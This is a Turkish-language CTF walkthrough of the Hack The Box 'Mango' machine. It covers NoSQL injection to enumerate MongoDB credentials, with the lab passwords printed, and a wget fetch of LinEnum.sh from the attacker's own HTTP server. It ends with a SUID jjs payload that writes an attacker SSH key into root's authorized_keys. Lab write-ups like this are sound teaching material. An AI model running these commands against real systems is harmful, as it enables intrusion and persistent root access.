Hackthebox-Mango Makinesi Çözümü

Hackthebox-Mango Makinesi Çözümü

Merhabalar arkadaşlar bu yazıda Hackthebox platformu üzerinde bulunan Medium seviye olarak belirlenmiş olan Mango adlı makinenin çözümünü anlatmaya çalışacağım. Mango makinesi, ssl sertifikasında bulunan subdomain’in keşfinin ardından gelen login ekranında biraz ctf tarzında Hackthebox platformunun makine ismini “Mango” koymasından arka tarafta veritabanı olarak “Mongodb” çalıştırılıyor olmasından yola çıkılarak bulunan bir exploit ile kullanıcıların ve parolalarının elde edilmesiyle root flag değerinin elde edilmesi ve ardından GTFObins kullanılarak root flag değerinin elde edilmesi şeklinde bir hikayesi mevcuttur.

ENUMERATION AND USER FLAG

Makine’de açık olan portların ve çalışan servislerin belirlenmesi için nmap taramasını başlatıyoruz ve aşağıdaki bir çıktı alıyoruz.

Nmap taraması çıktısından görüyoruz ki makine üzerinde 22 yani SSH portu, 80 ve 443 portları çalışmakta. 443 SSL portu üzerinde çalışmakta olan bir web servisi bulunmakta ve nmap bize bu web servisi için yapılandırılan sertifikaya ait bazı bilgiler vermekte. commonName değeri olarak staging-order.mango.htb hostunu görmekteyiz. https://10.10.10.162/ adresini ziyaret ettiğimizde gelişmiş seçeneklerde sertifikayı ve sertifika bilgilerini görüntülüyoruz.

Elde ettiğimiz hostname’i makinemizin host dosyasına  ‘  echo “10.10.10.162  staging-order.mango.htb mango.htb >> /etc/hosts ‘  komutu ile ekliyoruz. Ardından staging-order.mango.htb sayfasına gittiğimizde bir login sayfası karşımıza çıkıyor.

Burada biraz CTF tarzında Hackthebox makinenin ismi olan Mango’dan fikir yürütülerek arka tarafta mongodb veritabanının çalıştığını anlamamızı beklemiş. Mongodb ile ilgili faydalanabileceğimiz bir zafiyet aradığımızda kaynak kısmında link olarak verdiğim, user&password enumeration yapan bir python script karşımıza çıkmakta.

Script, kullanıcı adı ve parola için gerekli parametreleri alarak POST isteğiyle belirlenmiş özel karakterler, sayılar ve string karakterlerden oluşan payloadları teker teker verilen url’e göndererek gelen response’a göre kullanıcı adı ve parola’nın bulunmasını sağlıyor. Bir nevi Brute-force attack gerçekleştiriyor.

Script için gerekli olan POST isteğinde belirtilecek parametreleri girmek için BurpSuite ile araya girebilir ya da kaynak koddan bakabilirsiniz.

“Python3 [script adı] –u http://staging-order.mango.htb/ -m POST –up username –pp password –ep username –op login:login” komutu ile kullanıcı adlarını sömürüyoruz. Aşağıdaki görselde de görüldüğü üzere payloadları teker teker deneyerek kullanıcı isimlerini sömürmekte.

Aynı şekilde “Python3 [script adı] –u http://staging-order.mango.htb/ -m POST –up username –pp password –ep password  –op login:login” komutu ile parolaları sömürüyoruz.

Bu işlemlerin ardından iki adet kullanıcıya ait kimlik bilgilerini elde etmiş olduk.
admin:t9KcS3>!0B#2
mango:h3mXK8RhU~f{]f5H

Ardından mango kullanıcısına giriş yapıyoruz fakat user flag değeri bu kullanıcıda mevcut olmadığından admin kullanıcısına geçiş yaparak user flag değerini elde ediyoruz.

ROOT FLAG

/tmp dizinine giderek burada daha iyi bir enumeration için geliştirilmiş olan “LinEnum.sh” scriptini çalıştırıyoruz. Scripti kaynakta verilmiş olan linkten indirebilir/kopyalayabilir ve makine üzerinde bash dosyası oluşturabilirsiniz. Hedef makineye çalıştırmak istediğimiz scripti aktarmak için python http server kullanılabilir.

Kendi makinemiz üzerinde “Python3 –m http.server” komutu ile 8000 portunda bir http server başlatıyoruz. Ardından hedef makine üzerinde “wget http://kendimakineipmiz:8000/Linenum.sh komutunu çalıştırarak scripti hedef makineye taşıyoruz.

Scripti çalıştırdığımızda gelen sonuçlar arasında SUID biti root olan dosyanın admin tarafından çalıştırılabildiği gözükmektedir.

Burada jjs, komut satırından çalıştırılabilen irb ve python benzeri bir Java interpreteridir. Root olarak çalıştırılan bu Java interpreterini kullanarak yetki yükseltmeye çalışacağız. Bunun için GTFObins’den yararlanacağız.

İlk olarak kendi makinemiz üzerinde ssh-keygen aracı ile ssh key üretiyoruz.

Ardından ürettiğimiz id_rsa.pub anahtarını  hedef makinenin root kullanıcısının ssh key dosyasına ekliyoruz. Bunun için

“echo 'var FileWriter = Java.type("java.io.FileWriter") ;
var fw=new FileWrier("/root/.ssh/authorized_keys");
 fw.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2Qbxrm0umzHs90mBX+bd6iPAFlsyI92kv/Q+1Afa52CpdEDbIsAA8H363qwD/Ikt/U5f4iEvt+Xbisygzd1QN7RtPNCbo2lR19Z1btXrVKzfTIBCNhmAR6KmlMzJnn+xnJgnEWJQzgDNfAPkrAHVr++26CFwNMoSq86uRKgvQsNR4MPLcCqmLaHsVF0DMTAG5tluV/vFz/eUPXy61fG18iE6rY5wlD4wap09inuQfl+GcUYUhVa516S2IRPWboYrBhkBBJ1+chCAhQfOtTXuzYgJNOTvgu9mrnLZENtu2ZP0w4h7eUUebP0L5tXK7GW7UZByC/ONCtaqHsL4aOM4XVSCAwSahpdO2TNihkXGS/PogD3rmpI5OQ0HobrhCv0FE7Ha6GUbVs697jXTTw5G/CwoqKKE7bZoa730mleH+7sODSOIhKzo1rvBAmZJyh6iYYU5q9ZdMyOuG4f3c5RwyW3wZn540zW1YiDgT1YzLK+jd+490z83RynA8+JIUjw8= [email protected]");fw.close();' | jjs “ 

komutunu hedef makine üzerinde çalıştırıyoruz.

Ve böylelikle şifreye gerek duymadan ssh bağlantısı gerçekleştirebileceğimiz bir ssh anahtarına sahip olduk. Son olarak SSH bağlantısını gerçekleştirerek root flag değerini elde ediyoruz.

Kaynak :
https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
https://gtfobins.github.io/gtfobins/jjs/
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh/

Related Posts

Facebook Comments